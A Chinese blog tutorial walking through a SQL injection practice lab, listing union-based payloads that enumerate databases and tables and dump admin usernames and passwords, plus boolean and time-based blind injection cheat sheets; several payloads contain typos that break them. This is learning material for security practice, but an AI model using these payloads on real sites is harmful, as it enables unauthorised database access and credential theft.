SQL注入篇:SQL 注入靶场练习【实例1】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

SQL 注入靶场练习实例

0x01 介绍

0x02 操作步骤

0x03 最后简单总结一下爆Mysql 数据库基本的爆法

0x04 手工盲注常见操作步骤

0x05 总结延时注入操作步骤


 

              为了加强之前所学的东西,CE现在要多练练靶场,后续的教程差不多会是以靶场为主

             【实例1】靶场传送门:http://59.63.200.79:8003/

SQL 注入靶场练习【实例1】

0x01 介绍

      拿到一个SQL注入的靶场,看着有点可爱哟,可爱的小猫咪。说是SQL注入靶场,那我们应该寻找带有参数的地方,尝试注入,下面看到一个蓝色的【点击查看新闻1】链接,对就是干它

这是进入【点击查看新闻1】链接后的画面,我们可以看到这里是带有参数的,哈哈!那就开干

CE这里使用的是HackBar 工具来调试注入,首先我们【Load URL】一下,把URL复制进入HackBar 文本框内

SQL注入篇:SQL 注入靶场练习【实例1】_第1张图片

还记得之前我们之前学习SQL注入时说的拿到注入点,该怎么办,然后再怎么办嘛?此处不讲解,有遗忘的朋友,清前往观看以往的SQL注入教程。

 

0x02 操作步骤

1. 首先加个单引号,判断是否存在SQL注入,为什么要用单引号呢? 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。 (如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)

很明显,页面返回的内容是不正常的

2. 然后,判断是数字型注入?还是字符型注入?

payload如下:

      数字型判断

?id=1 and 1=1

?id=2 and 1=2

      字符型判断

?id=1' and '1'='1

?id=1' and '1'='2

数字型判断

and 1=2 时页面返回不正常

知道哪里是什么类型的注入后,我们使用order by 猜解数据库字段长度

最后得出,只有2个字段,因为order by 3 时,页面返回不正常

3. 得出字段长度后,我们可以获取数据库名称,数据库

database() 返回当前网站使用数据库的名称

• user() 将会返回当前查询的用户名

version() 获取当前数据库版本

@@version_compile_os 获取当前操作系统

在获取数据库名称、用户名、数据库版本、当前操作系统之前,先看看哪个字段是存在注入点的

可以看到是页面返回2,那就是第2个字段存在注入

获取到的数据库名称、当前用户名、数据库版本、当前操作系统版本信息如下

• 数据库名称:maoshe

• 当前用户名:maoshe@localhost

• 数据库版本:5.5.53

• 当前操作系统版本:Win32

4. 试试看看能不呢爆出其它数据库,这里我们使用group_concat 函数来查询所有数据库名称

?id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata

当然也有一些PY比较痛的大胸弟喜欢一个个手动去爆,例如下面的payload 一个个用limit 0,1、limit 1,2、limit 2,3... ...直到出现错误或异常为止,看着我都眼镜都疼... ...

?id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata limit 0,1

5. 爆对应数据库的表

?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe' 

注:这里的database()函数进行了数据库查询,因为我们已经查到了当前的数据库为maoshe,所有这里还可以酱紫写,用单引号括把数据库的名称括起来'maoshe'

?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

这里也列出,手工淡腾爆表法

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' limit 0,1

6. 猜解字段名

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

注:这里一样可以使用limit 一个个列字段名

7. 爆列名内容

?id=1 and 1=2 union select 1,group_concat(Id,username,password) from admin 

 

或手工一个个爆出来

爆Id

爆账号名

爆密码

 

0x03 最后简单总结一下爆Mysql 数据库基本的爆法

order by –+ 判断字段数目

union select –+ 联合查询收集信息

id=1′ and 1=2 UNION SELECT 1,2,database() –+ 查询当前数据库

id=1′ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata –+查询所有数据库

id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+ 查询表名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+ 查询列名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查询字段值

 

0x04 手工盲注常见操作步骤:

• left(database(),1) 返回 database()的最左面 1 个字符

• length(databse()) 返回数据库的长度

• substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度

• ascii() 将某个字符转换为 ascii 值

• mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

手工盲注实例传送门:https://blog.csdn.net/God_XiangYu/article/details/95523203

PS:如下*号地方都是自己填写的数字或名称,我只是已*号代替

1. 判断数据库版本号左边开头数字

       ?id=1’ and left(version(),1)=5 --+

2. 判断数据库名称长度

      ?id=1’ and length(version())=* --+

3. 猜解数据库名称

      ?id=1’ and left(version(),1)> ’*’ --+

4. 猜解表名

      ?id=1’ and ascii(substr((select table_name from information_schema.tables wehre table_schema=database()  limit 0,1),1,1)) >100 --+

5. 猜解列名

 id=1’ and asicc(substr((select table_column from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’ limit 0,1),1,1)) > 99 --+

6. 判断表是否不存在

      ?id=1’ and 1=(select 1 from information_schema.columns where table_name=’表名’ and column_name regexp  ’^username’  limit 0,1) > 97 --+

7. 表存在,获取表的内容

      ?id=1’ and ord(mid((select ifnull(cast(username as char),0x20)from 数据库名.表名 order by id limi 0,1),1,1)) =68 --+


0x05 总结延时注入操作步骤:

1. 延时猜解数据库 
   
    ?id=1’ and if(ascii(substr(database(),1,1)) = 110,1,sleep(7)) --+

2. 延时猜解表

    ?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’数据库名’ limit 0,1),1,1)) =107,1,sleep(4))--+

3. 延时猜解列
    
    ?id=1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=’表名’ limit 0,1),1,1)) = 103,1,sleep(5))--+

4. 延时猜解账号和密码

破解账号

    ?id=1’ and if(substr((select usernam from users limit 0,1),1,1)=67,1,sleep(8))--+


破解密码

    ?id=1’ and if(asicc(substr((select password from users limit 0,1),1,1))=65,1,sleep(8))--+


 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,SQL注入,SQL,注入靶场实例)